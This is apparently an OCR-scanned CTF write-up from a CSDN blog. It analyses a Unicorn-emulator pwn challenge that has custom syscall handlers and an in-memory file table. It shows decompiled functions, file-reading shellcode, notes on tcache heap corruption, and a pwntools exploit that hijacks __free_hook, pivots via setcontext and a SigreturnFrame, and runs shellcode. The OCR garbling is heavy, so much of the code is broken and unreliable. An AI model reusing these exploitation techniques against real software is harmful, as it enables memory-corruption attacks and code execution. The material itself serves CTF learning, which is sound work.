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unsigned _ inted v9; // [rsp+48h] [rbp-8h]

v9 =  readfsgword(@x28u);

((void (_ fastcall *)({ QWORD, QWORD, OQWORD)){(char *)&sub_ 1488 + 1))(al, a2, a3);

puts("Send your code:");

v8 = (int)sub_15C8(&qword_54E0, 8x4800LL);

puts(“Emulate i386 code");

v/ = Bx/FFFFFFFEGOALL ;

v5[@] = uc_open(4LL, 8LL, &v5[1]);

if ( vs[@] )

{
printf(“"Failed on uc_open() with error returned: %u\n", v5[0]);
result = @xFFFFFFFFLL;

¥

else
{
uc_mem_map(*(_OQWORD =)&v5[1], 0x400000LL, Ox100e0LL, 7LL);
uc_mem_map(*(_QWORD *)&5[1], ©x7FFFFFFEF@ALL, @x10008LL, 7LL);
if ( (unsigned int)uc_mem_write(*( QWORD *)&v5[1], 0x400008LL, &qword 54E@, vi - 1) )
{
puts(“Failed to write emulation code to memory, quit!™);
result = @xFFFFFFFFLL;
¥

else
{
uc_hook_add(*( QWORD *)&v5[1], &v&, 2LL, sub_1F98, @LL, 1LL, @LL, 699LL);
uc_reg_write(*( QWORD *)&vS[1], 44LL, &v7);
v5[@] = uc_emu_start(*( OQWORD *)&v5[1], @x40@000LL, vE + Ox3FFFFF, OLL, OLL);
if ( vs[e] )
{
vd = (const char ®)uc_strerror(vs[@]);
printf("Failed on uc_emu_start()} with error returned %u: %s\n", v5[0], v4);
¥
puts(“Emulation done. Below is the CPU context");
uc_reg_read();
uc_reg_read();
printf(">>> ECX = @x%x\n", 4660LL);
printf(">>> EDX = @x%x\n", 22136LL);
uc_close(*{_QWORD *)&v5[1]);
result = @LL;
¥ CSDN @yongbaoii
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__INTb4 Vo /7 |FSp+30n| [FDP-ZUN| BYKEF
__inted v7; // [rsp+38h] [rbp-18h] BYREF
__inted v8; f/ [rsp+48h] [rbp-16h]
unsigned _ int64 v9; // [rsp+48h] [rbp-8h]

v9 = _ readfsqword(@x28u);

((void (_ fastcall *)(_QWORD, QWORD, QWORD))((char *)&sub_1488 + 1))(al, a2, a3);// F T iV FEbanT execve
puts("Send your code:"};

v8 = (int)sub_15C0(&qword_54E0, 0x4000LL); /7 AT R iE54Eefbss £

puts("Emulate 1386 code");

w7 = @x7FFFFFFFE@@OLL;

v5[0] = uc_open(4LL, SLL, &/5[1]); /7 FFEEHL BiExss BHEeaf

if ( v5[0] )

{

printf("Failed on uc_open() with error returned: %u\n", v5[0]);
result = @xFFFFFFFFLL;
1
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else

1
uc_mem_map(*(_QWORD *)&/5S[1], 0x400000LL, 0x10000LL, 7LL);// M&IT H--AET(E

// iR Zexse0000 K 0x10000
/i EE—Rex7ffffffefore /| '0x10000
uc_mem_map(*(_QWORD *)&5[1], Ox7FFFFFFEFe@OLL, ©x100@0LL, 7LL);
if ( (unsigned int)uc_mem_write(*( QWORD *)&v5[1], ©x400000LL, &qword 54E0, v8 - 1) )// iE54eplI{\ 25 % ox400000
/7 B Hexa00000F 2 18 114052 B BP9 F T el
// M FunicornzEHE I A Emmap T —H#Hchunk
/7 Wal R
{

puts(“"Failed to write emulation code to memory, quit!™);
result = @xFFFFFFFFLL;
¥
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Gy I

puts(“"Failed to write emulation code to memory, quit!™);
result = @xFFFFFFFFLL;
¥

else
{
uc_hook_add(*( QWORD *)&s5[1], &v6, 2LL, sub 1F98, @OLL, 1LL, @LL, 699LL);// T 49F
/] ETHETEER
/7 PiTsyscal BT E = h1Foght B4
uc_reg_write(*( QWORD *)&/5[1], 44LL, &7);// WEEINAIDPHIFFEE
/7 FrspiERiox7fffffffeo00
v5[0] = uc_emu_start(*( QWORD *)&/5[1], Ox400000LL, v& + Ox3FFFFF, OLL, @LL);// Frifi&ELl
// HiTex400000F len+ox3FFFHFH1{{13
if (vsrel ) /7 MEHTEOFTE, R, SILRESE R
{
vd = (const char *juc_strerror(vs[8]); // BEHETRH<EEELFEEER
printf(“Failed on uc_emu_start() with error returned %u: %s\n", v5[8], vd);
}
puts("Emulation done. Below is the CPU context");// BIEHRT
/7 ATEDE T R IR H s E
uc_reg_read();
uc_reg_read();
printf(">>> ECX = @x¥x\n", 4660LL);
printf(">>> EDX = @x¥x\n", 22136LL);
uc_close(*(_QWORD *)&v5[1]);
result = OLL;
¥
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return result:
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unsigned _ int64d _ tastcall sub_1F98(__inté4 al)

{
_inte4 v2; ff [rsp+18h] [rbp-18h]
unsigned _ int6d v3; // [rsp+18h] [rbp-8h]

v3 = _ readfsgword(@x28u);
uc_reg_read();
if (v2 ==1)

{
write_3(al);
¥
else if ( v2 == 2 )
{
open_@(al);
¥
else if ( v2 )
{

if (v2 == 3)
close 2(al);
else
printf("Unknown Syscall Number rax=0x%lx\n", v2);
¥

else

{

¥
return _ readfsgword(®x28u) *~ v3;

read_3(al);
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open_0

Junsigned int64  fastcall open ©( inted al)
H
){ _QWORD v2[3]; // [rsp+18h] [rbp-58h] BYREF
H char s[56]; // [rsp+38h] [rbp-48h] BYREF
| unsigned  inted v4; // [rsp+68h] [rbp-8h]
)
I w4 = _ readfsgword(®x28u);
i memset(s, @, @x30ulLl);
Iow2[@] = -1LL;
I uc_reg write(al, 35LL, v2);
| uc_reg_read();
ouc_reg_read();
{if ( Yunsigned int)uc_mem_read(al, v2[1], s, 24LL) )
Ho{
i v2[@] = (int)open(s, v2[2]);
i uc_reg write(al, 35LL, v2);
3
| return _ readfsgword(@x28u) ~ v4;
N
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|_inte4 _ fastcall open{const char *al, unsigned __int64 a2)
{
unsigned _ int6d size; // [rsp+0h] [rbp-20h]
int i; // [rsp+14h] [rbp-Ch]
int j; // [rsp+14h] [rbp-Ch]
file *v6; // [rsp+18h] [rbp-8h]

size = al;
for (1 =0; 1 <= 15; ++1 )
{

if ( !stremp((const char *)&gword_5028[9 * 1 + 1], al) )

return gword_5028[9 * i];

}
if ( filenum > 15 )

return @xFFFFFFFFLL;
if (22 > exdee )

size = 1824LL;
for (7 =8; ] <= 15 && LOBYTE(gword_5020[9 * 7 + 1]); ++7 )
vh = (file *)&gword 5020[9 * j];
vo->fileptr = malloc(size);
strecpy(vo->filename, al);
vo->fileread = ( int6d)myread;
vo->filewrite = ( intad)mywrite;
vo->fileclose = ( intad)myclose;
ve->fileno = j;
++filenum;
vo->filesize = size;
return vo->fileno;
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00B5020 5 sub 1862+7A
PRE5A28 dg 'dts/ved/’

0PB5030 dg 'ni’

00B5038 dg ©

00B5040 dg ©

00B5048 dg ©

APA5050 read 1 dg offset read @ ; DATA XREF:
pRE5050 ; read _2+6Dtr
pPE5058 write_1 dg offset write @ ; DATA XREF: 1
pPE5058 ; write_2+6Dt
pe05060 close_1 dg offset close @ ; DATA XREF:
0005060 ; sub_1862+62
PBO58638 dg 1

PRE5A70 dq ‘dts/ved/’

pBa5a738 dd "tuo’

pea5a7C db a

pease ;7D db a

PBO587E db a

PBa5a7F db a

PBE5080 dg @

PBO50838 dg @

PBE5090 dg @

pPE5098 dg offset read @

BRO50AR dg offset write @

BRO50A8 dg offset close @

PBO50B0 dg 2

PBO58B3 db 2Fh

PBE58B9 dd '/ved’

OO050ED dq ‘rredts’ CSDN @yonghaoii
PBa58CS db a

=N

=745 H [devi/stdin /dev/stdout /dev/stderr
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178 = 1W4LL;

for ( 7 =0@; 7 <= 15 &% LOBYTE(gqword _5020[9 * 7 + 1]); ++7 )
vh = (file *)&gword 5028[9 * 7];
vo->fileptr = malloc(size);
strepy(vo->filename, al);
vo-»fileread = ( intod)ymyread;
vo->filewrite = ( intod)ymywrite;
vo-»fileclose = ( intod)ymyclose;
vo-»>fileno = 7;

++filenum;

vo-»filesize = size;

return vo->fileno;
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bss FIFHH, 720 FNi—H

lalGlalslal5lal%)
pEORRRRe file struc ; (sizeof=0x48, mappedto_7)
pPORRREe fileno dg ?
pEOARERS filename db 24 dup(?) 5 string(C)
PPORRR20 fileptr dg ? ; offset
PEORRR28 filesize dg ?
pEOARR30 fileread dg ?
PEOARR38 filewrite dg ?
PEORRR4e fileclose dg ?
pePRER4AS file ends
PEORBAE
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read

size t  fastcall myread(file *fp, void *buf, size t len)
{
size t n; // [rsp+28h] [rbp-8h]

n = len;
if ( len » fp-»>filesize )

n = fp->filesize;
memcpy(buf, fp-»>fileptr, n);
return n;
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write

ize t _ fastcall mywrite(file *fp, const void *buf, size t len)
{
unsigned _ int64 size; // [rsp+28h] [rbp-8h]

size = len;

if ( len » fp->filesize && len > @x400 )
size = 1024LL;

if ( size » fp-»>filesize )
fp-»>fileptr = realloc(fp->fileptr, size);

fp-»>filesize = size;

memcpy (fp->fileptr, buf, size);

return size;
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close

|_inte4  fastcall myclose(file *fp)
H
if ( fp->fileptr )

free(fp->ftileptr);
memset(fp->filename, @, sizeof(fp->ftilename));
fp->fileptr = BLL;
fp->filesize = OLL;
--filenum;
return @LL;

e T e
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unsigned int64  fastcall read 3(  int64 rdid)
{
__int64 v2; // [rsp+16h] [rbp-3@8h] BYREF
size t nmemb; // [rsp+18h] [rbp-28h]
int al[2]; // [rsp+28h] [rbp-28h]
__int64 v5; // [rsp+28h] [rbp-18h]
void *ptr; // [rsp+38h] [rbp-18h]
unsigned  int64 v7; // [rsp+38h] [rbp-8h]

v7 = _ readfsqword(@x28u);

v2 = -1LL;

uc_reg write(rdi®, 35LL, &v2);
uc_reg_read();

uc_reg_read();

uc_reg_read();

ptr = calloc(nmemb, 1uLL};

if ( ptr )
{
vZ2 = (int)read_2(al1[0], (__int6d)ptr, nmemb);
if ( v2 != -1 && !(unsigned int)uc_mem write(rdi@, v5, ptr, nmemb) )
{
uc_reg_write(rdid, 35LL, &v2);
free(ptr);
}

h

return _ readfsqword(0x28u) ™ v7/;
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ssize_t _ tastcall read_2(int al, _ intb4 ptr, _ intbd num)
int i; // [rsp+2Ch] [rbp-4h]

1

2

3

q

5 for (1 =8; 1 <= 15; ++1 )

5| {

7 if ( gword_50208[9 * i] == a1 )

B8 return ((ssize t ( fastcall *)( QWORD *, void *, size t))read 1[9 * i])(&gword 5020[9 * i], (void *)ptr, num);
9 }

3| return @xFFFFFFFFLL;

1}
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vh = (file *)&gword_5020[9 * j];
vé—)FilWﬂsize_)%
strepy(vo->tilename, z21);
vo-»>fileread = (_ inted)myread;
vo->filewrite inted)mywrite;
vo-»>fileclose inted)myclose;
vo-»>fileno = 7;
++filenum;
vo->filesize = size;
return vo->fileno;

=(_
= (_
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leak

mov rax, ©0x101010101010101
mov rsp, Ox7fffffff6000
push rax
mov rax, 0x101010101010101 ox1
xor [rsp], rax
mov rdi, rsp
push 0x400
pop rsi
xor rdx, rdx

call @)
push 2
pop rax
syscall

call read(3, ox7fffffff5000, 0x64)
Xor eax, eax SYS_read
push 3
pop rdi
push 0x64
pop rdx
mov rsi, 0x101010101010101 140737488310272 ox7fffffff5000
push rsi
mov rsi, Oxl10l17efefefe5101
xor [rsp], rsi
pop rsi
syscall

write(fd=1, buf=ex7fffffff5000, n=0x64)
push 1
pop rdi
push 0x64
pop rdx
mov rsi, 0x101010101010101 140737488310272 ox7fffffff5000
push rsi
mov rsi, Oxl10l17efefefe5101
xor [rsp], rsi
pop rsi

call write()
push 1 1
pop rax
syscall

] Received 0x64 bytes:
00000000 69 38 38
00000010 48 61 55 40 61 55
00000020
*
00000060
00000064
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SN fEheapHh 4K — & id fichunk, SKitAToff by null,

Addr:
Size: 0x71
©x555b238d9540

Addr:
Size: Ox71
@x555b23901e10

RET
R I SR T chunk I E], S Joff by null—F, AT DA%t 1T A-chunk T, i DL ET#: 5 fitcache .



chunk 4
off by null

Xor eax, eax SYS_read
push ©
pop rdi
push 0x18
pop rdx
mov rsi, 0x101010101010101 140737488310272
push rsi
mov rsi, 0xl10l17efefefe5101
xor [rsp], rsi
pop rsi

syscall

mov rsp, Ox7ffffff{5000
push rsp
pop rdi
push 0x60
pop rsi
xor rdx, rdx
call @)
push 2
pop rax
syscall

hijack tcache
call read(@, ox7fffffff5000, 0x18)
Xxor eax, eax SYS_read
push ©
pop rdi
push 0x18
pop rdx
mov rsi, 0x101010101010101 140737488310272
push rsi
mov rsi, Oxl1017efefefe5101
xor [rsp], rsi
pop rsi
syscall
write(fd=4, buf=ex7fffffff5000, n=0x18)
push 4
pop rdi
push 0x18
pop rdx
mov rsi, 0x101010101010101 140737488310272
push rsi
mov rsi, Oxl1017efefefe5101
xor [rsp], rsi
pop rsi
call write()
push 1 1
pop rax
syscall

W 1) % W itifree_hook

ox7fffffff5000

ox7fffffff5000

ox7fffffff5000




malloc free_hook
they are chunk 5 and chunk 6
mov rax, ©0x101010101010101
mov rsp, Ox7fffffff6000
push rax
mov rax, 0x101010101010101
xor [rsp], rax
mov rdi, rsp
push 0x60
pop rsi
xor rdx,
call
push 2
pop rax
syscall
mov rax, 0x101010101010101
mov rsp, Ox7fffffffc0ee
push rax
mov rax, 0x101010101010101
xor [rsp], rax
mov rdi, rsp
push 0x60
pop rsi
xor rdx, rdx
call @)
push 2
pop rax
syscall
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exp

from pwn import
from ctypes import

1ib = cdll.LoadLibrary(

context.log level
context.arch
context.os

sa lambda s,n : r.sendafter(s,n)
lambda s,n : r.sendlineafter(s,n)
lambda s : r.sendline(s)

sd lambda s : r.send(s)



https://blog.csdn.net/yongbaoii/article/details/119607954

ru lambda s : r.recvuntil(s)

ti lambda: r.interactive()

def debug():
gdb.attach(r,
)

pause()
def 1g(s,addr):

print(

process(

(s,addr))










asm(shellcode)
shellcode.ljust(0x4000,

, shellcode)

ub4 (ru( MIECH Oxleclfo
ub4 (ru( )[-6:] 0x319f0
libc_base libc.sym[
libc_base libc.sym[
setcontext libc_base libc.sym[
libc_base 0x154930
, libc_base)
, heap_base)
, free_hook)
, system_addr)
, setcontext)
, magic_gadget)

sd(p64(0) p64(0x71) p64(free_hook - 0x10))

new_addr free_hook &OxFFFFFFFFFFFFFO00




new_addr

SigreturnFrame()
.rsp = free_hook+0x10
.rdi new_addr
.rsi 0x1000
. rdx 7
libc_base libc.sym[

(frame)

sd(p64(setcontext + 61) str_frame[0x30:])

sleep(1)
sd(p64(heap_base + 0x31f30) 2 + p64(magic_gadget)+p64(free_hook+0x18)*2+asm(shellcodel))

sleep(1)
sd(asm(shellcode2))

ti()
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